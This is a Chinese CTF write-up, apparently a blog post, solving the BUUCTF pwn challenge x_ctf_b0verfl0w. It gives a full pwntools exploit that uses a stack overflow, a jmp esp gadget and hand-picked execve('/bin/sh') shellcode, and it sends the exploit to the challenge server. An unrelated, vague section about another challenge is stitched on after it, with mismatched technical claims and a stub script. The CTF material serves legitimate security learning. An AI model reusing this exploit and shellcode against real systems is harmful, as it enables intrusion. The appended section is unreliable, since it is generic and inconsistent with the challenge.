BUUCTF pwn x_ctf_b0verfl0w

首先:

checksec一下,发现保护全关,并且可写可读可执行,那么便可以直接传入shellcode并执行 

 

接下来看主程序:

 

发现在s这里存在栈溢出,但是这里没有system("/bin/sh"),与我们最开始的想法不谋而合,传入shellcode并且执行。这里fgets向s写入50字节,其中padding占据0x20(32)个字节,除去fake ebp和ret两个8字节,那么便就只剩下10字节写shellcode,这是不够的,那么如何写入shellcode呢?

重点 :

我们可以在栈初始位置就写入shellcode,然后控制程序执行流在栈初始部分,执行shellcode。如何实现控制程序执行流,看下方的栈布局:

shellcode | padding | fake ebp | jmp_esp_address | sub esp,0x28 | jmp esp

主要思路:

栈布局如上,解析一下,栈开头传入shellcode,shellcode的长度要小于0x24,过长会溢出到ret_address,用shellcraft.sh()生成的shellcode长度为0x2c,是过长的,所以我们要自己手搓shellcode,或者可以去这个网站上找:Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers 

前面不足0x24的填满垃圾数据,然后在ret的部分填入jmp_esp_address,ret等同于pop eip,当eip指向jmp_esp_address,便会执行jmp esp,同时由于pop,esp+4, 此时eip指向sub exp,0x28;jmp esp,便执行这段语句,直接回到栈初始位置,执行shellcode。(0x28=0x20+fake_esp+jmp_esp_address)

思路整理完毕,先ROPgadget寻找jmp:

ROPgadget --binary over --only "jmp|ret"
Gadgets information
============================================================
0x080483ab : jmp 0x8048390
0x080484f2 : jmp 0x8048470
0x08048611 : jmp 0x8048620
0x0804855d : jmp dword ptr [ecx + 0x804a040]
0x08048550 : jmp dword ptr [ecx + 0x804a060]
0x0804876f : jmp dword ptr [ecx]
0x08048504 : jmp esp  #就这个
0x0804836a : ret
0x0804847e : ret 0xeac1

 很巧,这里正好有jmp esp,说明我们的思路没错,那么便直接上脚本:

from pwn import *
context(arch='i386',log_level='debug')
jmp_esp = 0x08048504
r=remote('node5.buuoj.cn',25247)

'''
shellcode = b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += b"\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += b"\x0b\xcd\x80"
'''
shellcode = b"\x6a\x0b\x58\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
len1 = len(shellcode)
payload = shellcode + (0x24-len1)*b'a'
payload += p32(jmp_esp)
payload += asm('sub esp,0x28')
payload += asm('jmp esp')

r.sendline(payload)
r.interactive()

脚本中有两个shellcode,都是可以的,第一个shellcode参考了这位佬的文章:

 https://www.cnblogs.com/gaonuoqi/p/12674851.html

第二个shellcode在上面那个网站找到的:

 Linux/x86 - execve(/bin/sh) Shellcode (17 bytes) (exploit-db.com)

总结 :

1.首先思路很重要,分析输入的长度限制,shellcode长度受限该怎么办?

2.对于汇编语言的合理运用,合理控制执行流

### BUUCTF Pwn Others_shellcode 解题思路 #### 题目概述 此题目属于PWN类别中的shellcode编写挑战。目标是在给定环境中执行任意代码,通常通过构造特定的机器码来实现这一目的[^1]。 #### 环境准备 为了成功完成该挑战,需了解所使用的`libc`版本特性以及其对应的函数偏移地址等信息。这有助于定位并利用可能存在的漏洞点。此外,还需掌握基本的反汇编技能以便理解二进制文件的工作原理。 #### 漏洞分析 通过对程序逻辑的研究发现存在一处可以被攻击者控制的数据输入路径。当用户提交恶意构造的数据时,能够覆盖返回地址从而改变正常流程指向自定义指令序列的位置。这种技术被称为“Return-Oriented Programming (ROP)” 或直接注入 shellcode 执行。 #### Shellcode 构建 考虑到现代操作系统防护机制如NX bit 和 ASLR 的存在,在构建有效载荷时需要特别注意避开非法字符以免破坏栈结构完整性。同时也要考虑如何绕过这些安全措施以确保 payload 成功运行。一种常见做法是从内存中寻找可写区域作为跳转目标,并在那里放置精心设计过的 machine code 来打开 shell 或连接远程服务器发送 flag。 ```python from pwn import * context.arch = 'amd64' context.os = 'linux' # 连接至服务端口 conn = remote('challenge_address', port_number) # 发送payload前先读取一些数据防止阻塞 conn.recvuntil(b'Input your choice:') ``` #### Exploit 实现 最终解决方案涉及多个部分协同工作:首先是找到合适的 gadget 组合用于泄露 libc 基址;其次是计算出 system() 函数的确切位置;最后则是巧妙安排参数传递方式使得 execve("/bin/sh", ...) 能够被执行。整个过程要求精确控制每一步操作以达到预期效果而不触发任何异常终止条件。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值